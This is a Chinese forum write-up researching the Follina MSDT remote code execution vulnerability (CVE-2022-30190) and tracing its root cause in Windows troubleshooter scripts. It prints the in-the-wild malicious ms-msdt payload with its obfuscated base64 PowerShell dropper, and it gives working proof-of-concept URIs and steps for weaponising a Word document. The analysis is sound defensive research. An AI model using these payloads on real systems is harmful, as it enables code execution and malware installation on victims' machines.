首页
社区
课程
招聘
[原创] Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞研究
2022-6-7 11:53 14380

[原创] Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞研究

2022-6-7 11:53
14380
漏洞简讯

2022 年 5 月 30 日,微软紧急公开了已经被用于野外攻击的 Microsoft Windows 支持诊断工具 (MSDT) 远程代码执行漏洞漏洞,漏洞编号为 CVE-2022-30190。Microsoft Windows 支持诊断工具 (MSDT) 存在远程代码执行漏洞,攻击者可通过诱导用户打开特制文件来利用此漏洞,Word 等应用程序中的远程模板功能允许程序从恶意服务器获取带有 'ms-msdt' URI 的特制 HTML,攻击者利用此漏洞可在目标系统上执行任意 PowerShell 代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。

漏洞复现

此漏洞细节已经公开,可参考:https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug。和 CVE-2021-40444 类似,漏洞利用的原始样本中包含对恶意链接的外部引用,word/_rels/document.xml.rels 中存在对一个 OLE 对象的引用,目标是 https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html,如下所示:

 

图片描述

 

图片描述

 

请求的 RDF842l.html 的内容如下,这里面包含大量注释的 "A",https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ 文章中解释了为什么必须要填充大量字符,HTTP 响应数据的长度至少要 4096 字节:

 

图片描述

 

其中,比较关键的部分如下,base64 解压解码之后的结果是一段 powershell 指令:

1
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

图片描述

 

保留其中的 \$cmd=c:\\windows\\system32\\cmd.exe\";Start-Process \$cmd;,使用其 base64 编码后的数据替换原先的数据。启动 HTTP 服务器使这个 html 可以被访问到,修改word文件中 word/_rels/document.xml.rels 的目标链接,打开文档触发漏洞。

1
2
// 通过 IT_BrowseForFile 指定的程序不一定要存在,但必须是 exe 或 msi 结尾的
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

图片描述

 

也可以使用文章中给的缩减版本 location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../\$(calc)/.exe\"";,效果如下:

 

图片描述
图片描述
图片描述

 

另外,Office 虽然不是这个漏洞的根源,但却是这个漏洞进行远程利用的因素之一。对此,微软已经推送了 5 月版本 16.0.15225.20204,Office 2019、Office 2021 以及 Office 365 可以自动更新到这个版本。之前的版本中,打开恶意文档 Word 程序会查询 HKCR\ms-msdt\ 下的注册表值,HKCR\ms-msdt\shell\open\command 中存放着 ms-msdt 的 "%SystemRoot%\system32\msdt.exe" %1的处理程序以及启动方式。而更新后的 Word 不会对 HKCR\ms-msdt\ 进行任何查询,这意味着已经无法通过 Word 去处理 ms-msdt 协议,从而调用存在漏洞的 msdt 程序,这也在一定程度上缓解了漏洞。

 

图片描述

漏洞分析

1. msdt 初体验
使用 Word 等应用程序打开恶意样本会去请求目标链接,并解析其中的内容,由于其中包含 ms-msdt:,会调用 msdt 程序进行处理,所以这些程序只是远程利用这个漏洞的跳板(选用这些程序是因为它们在调用 msdt 的过程中不会向用户提示),实际产生漏洞的位置还是 msdt。msdt(Microsoft Support Diagnostics Tool,Microsoft 诊断故障排除向导)用于排除故障并收集诊断数据以供支持专业人员分析以解决问题,微软有官方文档对其进行介绍:

 

https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/msdt

 

在我写文章的时候已经有这样一份分析:
https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/

 

下面进入动手环节,使用 Process Monitor 监测 msdt.exe,可以发现它的启动命令行是 msdt ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotList IT_BrowseForFile=/../../\$(calc)/.exe IT_AutoTroubleshoot=ts_AUTO",这给我们测试又提供了方便,这里没有直接用 msdt /id PCWDiagnostic 呢。

 

图片描述

 

a. 经过测试发现,/skip force 和自动下一步相关,如果不加这个参数,就需要用户点击下一页才能触发漏洞

 

图片描述

 

b. IT_LaunchMethod=ContextMenu 和 IT_SelectProgram=NotList 这两个参数和程序选择相关,要利用漏洞需要选择未列出,如果参数中有 IT_LaunchMethod=ContextMenu 和 IT_SelectProgram=NotList 就会自动选择未列出,如果参数中只有 IT_LaunchMethod=ContextMenu 效果也是一样的,否则需要用户选择“未列出”并单击下一页才能触发漏洞

 

图片描述

 

c. 参数 IT_AutoTroubleshoot=ts_AUTO 和触发漏洞没有什么特别联系,huntress 的文章中已经将其删减掉了
d. 参数 IT_RebrowseForFile=cal?c 在本地测试是不需要的,,但远程触发的话还是需要一个参数并且值里面带 "?" 字符,这个参数可以是 IT_RebrowseForFile,也可以是 "ss" 等

 

图片描述

 

e. 最后是 /id PCWDiagnostic,通过 id 指定要运行的诊断包。这里表示使用 PCW 诊断,其帮助用户配置旧程序,以便它们可以在当前版本的 Windows 中运行(刚刚已经体验过这个故障排除包的流程)。最终测试出的命令和文章上一致:

1
msdt ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe"

2. PCWDiagnostic 探索
使用 Process Monitor 监测 msdt.exe,会发现有对 C:\Windows\diagnostics\system\PCW 目录下的 powershell 文件的读取。而 C:\Windows\diagnostics\system\PCW 目录正好对应了 PCWDiagnostic

 

图片描述

 

通过搜索关键字,可以发现 IT_BrowseForFile 参数是在 TS_ProgramCompatibilityWizard.ps1 文件中处理的,如下代码所示,看 else 那段代码(if 那块应该不会走到),如果用户选择了 NotListed 就会通过 Get-DiagInput -id IT_BrowseForFile 获取 \$selectedProgram,而 IT_BrowseForFile 指定为了 "/../../\$(calc)/.exe"

 

图片描述

 

然后会调用 Test-Selection 进行判断,如果程序的后缀是 ".exe" 或者 ".msi",会将 appValid 赋值为 True,否则就是 False

 

图片描述

 

如果 \$UpdateChoice 为 ts_Manual,就会调用 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 去更新根本原因的状态,参数分别是 selectedProgram 和 appName,其中 selectedProgram 由 Get-DiagInput -id IT_BrowseForFile 获取,appName 由 [System.IO.Path]::GetFileNameWithoutExtension(\$selectedProgram).Replace("\$", "`\$") 获取。除了前面讲的这些,selectedProgram 还被 \$type::GetAppInfoFromCOS 处理过,但看样子不会出现命令执行

 

图片描述

 

以下是 DiagPackage.diagpkg 中的部分内容,可以得知:TS_ProgramCompatibilityWizard.ps1、RS_ProgramCompatibilityWizard.ps1、VF_ProgramCompatibilityWizard.ps1 分别为故障排除程序脚本、解析程序脚本和验证程序脚本,其中 RS_ProgramCompatibilityWizard.ps1 的两个参数正好是 TargetPath 和 AppName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<Troubleshooter>
  <Script>
    <Parameters/>
    <ProcessArchitecture>Any</ProcessArchitecture>
    <RequiresElevation>false</RequiresElevation>
    <RequiresInteractivity>true</RequiresInteractivity>
    <FileName>TS_ProgramCompatibilityWizard.ps1</FileName>
    <ExtensionPoint/>
  </Script>
  <ExtensionPoint/>
</Troubleshooter>
<Rootcauses>
  <Rootcause>
    <ID>RC_IncompatibleApplication</ID>
    <DisplayInformation>
      <Parameters>
        <Parameter>
          <Name>AppName</Name>
          <DefaultValue/>
        </Parameter>
      </Parameters>
      <Name>@diagpackage.dll,-100</Name>
      <Description>@diagpackage.dll,-101</Description>
    </DisplayInformation>
    <Resolvers>
      <Resolver>
        <ID>RS_IncompatibleApplication_ID</ID>
        <DisplayInformation>
          <Parameters>
            <Parameter>
              <Name>AppName</Name>
              <DefaultValue/>
            </Parameter>
          </Parameters>
          <Name>@diagpackage.dll,-102</Name>
          <Description>@diagpackage.dll,-103</Description>
        </DisplayInformation>
        <RequiresConsent>false</RequiresConsent>
        <Script>
          <Parameters>
            <Parameter>
              <Name>TargetPath</Name>
              <DefaultValue/>
            </Parameter>
            <Parameter>
              <Name>AppName</Name>
              <DefaultValue/>
            </Parameter>
          </Parameters>
          <ProcessArchitecture>Any</ProcessArchitecture>
          <RequiresElevation>false</RequiresElevation>
          <RequiresInteractivity>true</RequiresInteractivity>
          <FileName>RS_ProgramCompatibilityWizard.ps1</FileName>
          <ExtensionPoint/>
        </Script>
        <ExtensionPoint/>
      </Resolver>
    </Resolvers>
    <Verifier>
      <Script>
        <Parameters>
          <Parameter>
            <Name>AppName</Name>
            <DefaultValue/>
          </Parameter>
        </Parameters>
        <ProcessArchitecture>Any</ProcessArchitecture>
        <RequiresElevation>false</RequiresElevation>
        <RequiresInteractivity>false</RequiresInteractivity>
        <FileName>VF_ProgramCompatibilityWizard.ps1</FileName>
        <ExtensionPoint/>
      </Script>
      <ExtensionPoint/>
    </Verifier>
    <ContextParameters/>
    <ExtensionPoint/>
  </Rootcause>
</Rootcauses>

那我们稍微修改下 TS_ProgramCompatibilityWizard.ps1,在文件中加入 Start-Transcript -Append C:\Users\strawberry\Desktop\PSScriptLog.txt,使我们可以监测到脚本里命令执行的输出(虽然里面没几个可以输出的,就先这样子吧),然后再次触发漏洞,嗯。。。这里有个错误,test-path 产生的,先看下

1
2
3
4
5
6
7
8
test-path : 路径“C:\..\..\$(calc)\.exe”引用了基路径“C:”之外的项。
所在位置 C:\Users\strawberry\AppData\Local\Temp\SDIAG_a325ee27-afe0-46a1-a7cf-ed5f5da6ce70\TS_ProgramCompatibilityWizard.ps1
:349 字符: 23
+         $testresult = test-path -literalpath $appPath
+                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Test-Path],PSArgumentException
    + FullyQualifiedErrorId : System.Management.Automation.PSArgumentException,Microsoft.PowerShell.Commands.TestPathCom
mand

测试了下,虽然 test-path -literalpath '/../../\$(calc)/.exe' 有报错,但执行完后还是 True,但如果少一次目录遍历的话,结果就是 False。这也和 huntress 测试结果相符合,/../../\$(calc)/.exe 可以绕过 test-path 的检查,从而使 appValid 有机会为 True

 

图片描述

 

还有个地方是对 RS_ProgramCompatibilityWizard.ps1 的调用, 这和前面说的 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 对应,由于传入的 TargetPath 是 "/../../\$(calc)/.exe",这也意味着造成直接命令执行的地方不是 Update-DiagRootCause 指令处。另外,C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_80ef9407-5752-4fea-b2e4-fa914c17944b\ 目录下的 RS_ProgramCompatibilityWizard.ps1 文件是从 C:\Windows\diagnostics\system\PCW 目录下复制的

1
2
3
4
5
6
7
8
9
10
11
12
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“\”
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“C:\Users\strawberry\AppData\Local\Temp\SDIAG_80ef9407-5752-4fea-b2e4-fa914c17944b”
PS>& "C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_80ef9407-5752-4fea-b2e4-fa914c17944b\RS_ProgramCompatibilityWizard.ps1" -TargetPath "/../../$(calc)/.exe" -AppName ""
 
IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     False    WerUtil                                  System.Object
False    False    UNICODE_STRING                           System.ValueType
True     False    UtcData                                  System.ValueType
True     False    CompatEventSource                        System.Object

图片描述

 

为了更快验证,我直接删除了 RS_ProgramCompatibilityWizard.ps1,并且在 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 命令前后加入了以下代码。这次使用弹 cmd 的 poc 测试,执行顺序依次是 "calc、cmd、calc、calc、calc",这证明在 RS_ProgramCompatibilityWizard.ps1 文件执行前就出现了代码执行,因为删除了这个脚本 cmd 还是会弹出来因而可排除它的嫌疑。

1
2
3
4
5
6
7
8
9
10
11
12
13
#This last call will invoke the RS_ script, see the other file. It does the manual troubleshooting portion of the app.
if ($UpdateChoice -eq "ts_Manual")
{
    $Env:RecommendedLayer = $AppInfo[2]
    $(calc)
    Update-DiagRootCause -id "RC_IncompatibleApplication" -iid $appName -Detected $true -parameter @{ "TARGETPATH" = $selectedProgram; "APPNAME" = $appName}
    Start-Sleep -Seconds 10
    $(calc)
}
else
{
    Start-Process -FilePath $AppInfo[1]
}

查看这次的日志文件,还是会先去执行 & "Path\RS_ProgramCompatibilityWizard.ps1" -TargetPath "XXXXXXXXXX" -AppName "mpsigstub",由于没有这个文件了,因而转而去执行 & "Path\VF_ProgramCompatibilityWizard.ps1" -AppName "mpsigstub" 以及 & "Path\TS_ProgramCompatibilityWizard.ps1"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“\”
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“C:\Users\strawberry\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110”
PS>& "C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110\RS_ProgramCompatibilityWizard.ps1" -TargetPath "h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe" -AppName "mpsigstub"
& : 无法将“C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110\RS_ProgramCompatibilityWizard.ps1”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
所在位置 行:1 字符: 3
+ & "C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61 ...
+   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\STRAWB...ilityWizard.ps1:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“\”
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“C:\Users\strawberry\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110”
PS>& "C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110\VF_ProgramCompatibilityWizard.ps1" -AppName "mpsigstub"
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“\”
PS>CommandInvocation(Set-Location):“Set-Location”
>> ParameterBinding(Set-Location): 名称 =“Path”;值 =“C:\Users\strawberry\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110”
PS>& "C:\Users\STRAWB~1\AppData\Local\Temp\SDIAG_8556019b-5f1c-46b8-af61-e23c9fe74110\TS_ProgramCompatibilityWizard.ps1"

现在可以确定调用 Update-DiagRootCause -id "RC_IncompatibleApplication" -iid \$appName -Detected \$true -parameter @{ "TARGETPATH" = \$selectedProgram; "APPNAME" = \$appName} 后会触发一些机制去执行 & "Path\RS_ProgramCompatibilityWizard.ps1" -TargetPath "/../../\$(calc)/.exe" -AppName "mpsigstub" 无论该文件是否存在,而就在这里 "/../../$(calc)/.exe" 会导致代码执行。当然像我直接删除文件这种验证方式是不推荐的,但是快~ 另外,可以在 RS_ProgramCompatibilityWizard.ps1 文件执行的时候验证一下传进来的参数,是不是已经命令执行过了

 

图片描述

 

本文简单分析了下漏洞,并找到了漏洞触发的根源。还有一系列问题是值得去探究的,比如 Update-DiagRootCause 调用解析程序脚本、验证程序脚本等文件的过程,主要是参数如何去处理的;怎样去构造一个合适的 IT_RebrowseForFile 参数,如果要执行大段命令为什么需要构造类似于 \$(Invoke-Expression(\$(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZD0nYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJztTdGFydC1Qcm9jZXNzICRjbWQ7'+[char]34+'))'))))/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe 这种形态。最后,希望大佬们多多指教~

参考链接

https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

 

https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/

 

https://mp.weixin.qq.com/s/y0Ubd8X3jreLZE5d7uJXbA

 

https://mp.weixin.qq.com/s/XJ73RL0a_scQCIFbLj9CnA

 

直接为知笔记转 markdown 过来的,好像有点乱,不过懒得再改了 T_T


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-6-7 17:15 被蝶澈——编辑 ,原因:
收藏
点赞15
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回